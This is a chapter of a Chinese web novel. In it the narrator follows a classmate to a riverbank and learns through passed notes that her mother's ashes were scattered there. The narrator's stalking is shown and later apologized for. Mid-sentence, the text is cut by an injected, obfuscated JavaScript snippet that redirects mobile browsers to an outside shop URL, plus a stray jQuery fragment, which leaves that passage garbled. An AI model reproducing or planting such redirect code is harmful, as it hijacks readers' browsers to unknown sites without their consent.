毕业典礼结束之后，我有整整三天没去那所学校。
那三天里我的生活恢复了另一种节奏。早上被爱的闹钟吵醒，下楼吃妈做的早饭，沿着银杏大道走去学校。经过那棵枝丫低垂的银杏时我放慢步子抬头看了一眼。叶子比两周前更密了，阳光从叶片缝隙里筛下来，落在人行道上碎成一地光斑。风一吹那些光斑就晃动起来，像有什么东西在水面下轻轻游动。
教室里已经在准备期末考的事了。桌面上堆着复习资料和模拟试卷，课间的时候村上从前排转过头来问我：“明司，你志愿表交了吧？”
“刚交了。再不交班导就要急死了”
“私立天修义塾？”
“对。”
“哇，对学神顶礼膜拜。”他说完转回去了，但过了一会儿又转回来，“不过那所学校的考试好像挺早的吧？你准备得怎么样？”
“……目前还在缓慢的准备。”
“欸~全年级第一说‘还在准备’，那我们这种人是不是该直接放弃啊。”
我没理他。他笑了几声缩回去了。
但我低头看了看桌面上那沓还没拆封的复习资料，确实还没开始动。
……可恶，现在和别人打包票如果真的没考上就糗大了，必须赶紧复习了啊。
班主任在走廊上碰到我的时候问了一句“志愿学校定好了吧，复习也要抓紧”，我说“是，知道了”。年级主任在办公室门口探出半个身子说了一句“推荐名额的事别忘了”，我说“谢谢主任”。
那三天里我的生活节奏也发生了一些细微的变化。我开始注意时间。不是以前那种“看个大概”的注意，是更具体的、更精确的注意。
早上七点四十分——她大概已经到了校门口。中午十二点十分——她会去天台。下午三点四十分——放学铃响。下午四点十五分——她走出教学楼。
这些是我推测出来的。
我没特意去看表。但下课的时候、午休铃响的时候、放学铃响的时候，我的目光总会自动落在那只黑色的电子表上。秒针一格一格地跳过去，数字从14变成15变成16，像有什么东西在后面推着时间往前走。
第三天傍晚放学的时候，村上问我要不要去便利店。我说“今天有事”。他也没多问，背着书包走了。
我坐在座位上等教室空下来，阳光从窗户斜进来把课桌桌面晒得温温的，上面映着窗户格子的影子。等到走廊里安静下来，我站起来，走出校门，坐上了去她那边方向的那班电车。
车厢里人不多，我靠着车门站着，窗外的街景一栋一栋地向后滑过去。站台到了，我下车，走到那所学校对面的人行道上，站在一棵银杏树后面。风不大，树冠偶尔晃动一下，投下的影子也跟着晃。
四点三十分的时候她出来了。穿着浅灰色的夏季校服，短袖，书包单肩挂着。白色头发在傍晚的光线下泛着柔和的光泽。她没有朝车站方向走，也没有朝住宅区走。她在校门口停顿了一瞬，像是确认了一下方向，然后左转，沿着那条种着悬铃木的街道朝南走去。
我跟了上去。
距离大概五十米。她在前面走，步伐不快不慢，每一步都踩得很稳。我隔着那段距离跟着她，尽量让自己的脚步和她的脚步不同步。
悬铃木的叶子在头顶交错着，把天空切成细碎的蓝色碎片。
街道两侧的建筑从密集的住宅区变成空地，又从空地变成被铁丝网围起来的荒地。铁丝网上爬满了绿色的藤蔓植物，藤蔓顶端开着一朵朵白色的小花，被风带得一颤一颤的。经过最后一片荒地之后，她拐上了一条土路。
土路两侧长满了野草，草叶顶端被风吹弯了腰又弹回来。路的尽头传来水声——哗啦哗啦的，均匀而不急不缓的。
河出现了。
河面比我想象中窄一些，大概五六米宽。水流平缓，表面泛着傍晚金色的细碎波光。两岸种着柳树，柳条垂到水面上，被水流带着轻轻地来回摆动，像有无数根细线在梳着水面的头发。没有行人。没有建筑。没有别的声音。只有河和树和风吹过草尖的沙沙声。
她走到河边，站定了。
我停在一棵柳树后面。树干大概一抱粗，我侧着身躲在那后面，树枝垂下来在我面前形成一道绿色的帘子。距离她大约二十步。风从河面上吹过来，带着水的微凉和泥土的气味。
她站在那里，背着书包，校服裙摆被风带起来又落下去。白色头发被风吹散了几缕搭在脸侧。她就这样站着，没动。
很久。久到我开始数时间。一秒两秒三秒，一分两分三分。我看了一眼手表，从四点四十三分到四点五十四分，十一分钟。她在那十一分钟里没有做任何事，只是站在那里看着河面，像在等待什么发生。
然后她抬起了手。
动作很慢。她把手抬到齐肩的位置，指尖触到鬓角处的白发，然后在发间停了一下。她捏住一样东西——一片落叶。细长形的，柳树的叶子，不知道什么时候被风吹进了她的头发里。她低头看了看那片叶子。然后弯下腰，把叶子放进水里。
叶子落在水面上，轻轻打了个转，然后顺着水流的方向开始漂走。她看着那片叶子漂远。身体微微前倾，像在确认它不会被什么挡住。等那片叶子漂到视野尽头变成一个小点之后，她直起身来。转身，沿着来路走了回去。
我在柳树后面一直站到她走出土路才动。她经过我藏身的那棵柳树时没有朝我的方向看。我走到她刚才站过的位置蹲下来，看着那片叶子消失的方向。水面已经恢复了平静。我看了一会儿，然后站起来，转身走了。
第二天中午我到天台的时候，她已经坐在老位置了。
今天她没带吃的。也没带书。手里空空地放在膝盖上。风比昨天小，天台的安静能让人听到远处操场上哨子的声音。我坐下来，思虑再三还是从口袋里掏出那张早就写好的纸条放过去：『昨天河边，你站了很久。』
她拿起纸条看完。过了一会儿她抬起头看了我一眼。隔着五六步的距离，她的视线在我脸上停留了几秒。我坐在原地没有躲也没有移开视线。
然后她低头写了一句放回来：『……你是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696490|207375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是在跟踪我。』
我写：『对不起，我很抱歉。但我真的想多了解你。』
她看到那行字之后沉默了很久。天台上的风把碎沙砾推来推去，阳光从头顶照下来，地面上的影子慢慢移动。然后她写：『那是我和妈妈说话的地方。』
我仔细的读了两遍。
“和妈妈说话的地方。”她每天放学之后去那条河边站着，是因为那是她妈妈在的地方。她把那片叶子放进河里的时候，大概在跟她妈妈说些什么。
我仔细回想了一下，但是那个时候周围确实只有桔梗和我。
我写：『妈妈在哪里？』她拿回纸条看了很久。然后她写：『骨灰撒在那条河里。』
她站起来，把纸条放在地面上，转身往天台门口走。铁门合上之后脚步声沿着楼梯越来越远。我坐在墙根下，手里攥着那张纸条。河，骨灰，她放学后站在那里，是在等她妈妈跟她说话。
那天傍晚我又去了一趟河边。
穿过住宅区，穿过荒地，穿过铁网围起来的地段，走上那条土路。草叶擦过我的脚踝，有点痒。河水还在流，和昨天一样。柳条的枝条垂到水面上，被水流拨动着一开一合。我站在她昨天站过的位置，河对岸的树影在水面上碎成一层暗色的光斑。我蹲下来，用手碰了一下水面。凉的。
我站起来弯下腰，从地上捡起一片落下的柳叶，捏在手里。然后直起身，把它放进水里。叶子落在水面上打了两个转，然后顺着水流的方向开始漂远。我站在那里看着它漂。等它漂到看不见的地方。
风从河面上吹过来，带着水和泥土的气味。她在纸条上写“骨灰撒在那条河里”的时候，她的笔迹和平时一样，没有抖。
但把这种和至亲之人有关的事告诉的那个决定，大概是她做过的最难的事之一。我站在河边等那片叶子完全消失在视野尽头，才转身走上土路。
回到家的时候爱正坐在客厅里写作业。她抬头看了我一眼：“你今天怎么比平时晚？”我说“绕了点路”。她“哦”了一声，继续低头做题了。
第二天中午我把纸条放过去：『我不应该跟着你。但如果你愿意，下次去河边的时候可以告诉我。我在远处等。』她拿起纸条看完，没有回。午休快结束的时候她站起来走了。走之前放了一张纸条在地面上。我拿起来打开。上面只写了一句话：『你放的那片叶子，我看到了。』
风从她离开的方向吹过来，纸面在阳光下微微发亮。她知道我去了。她在我离开之后又回到河边，看到了那片漂浮在水面上的柳叶。我把那张纸条折好放进口袋里。
晚上坐在书桌前翻开笔记本的时候，我把今天的收获都写下来了。她每天去那条河边。她妈妈在那里。她对着河面说话的时候，没有人能看到她。现在有一个人在她离开之后也去了那里，放了同样形状的叶子在水面上。
我合上笔记本关掉台灯躺下来。窗外的路灯在天花板上画着那道浅黄色的长条。我在想她看到那片叶子的时候是什么表情。也许她没有表情。也许她只是看着它漂走，像我看着她一样。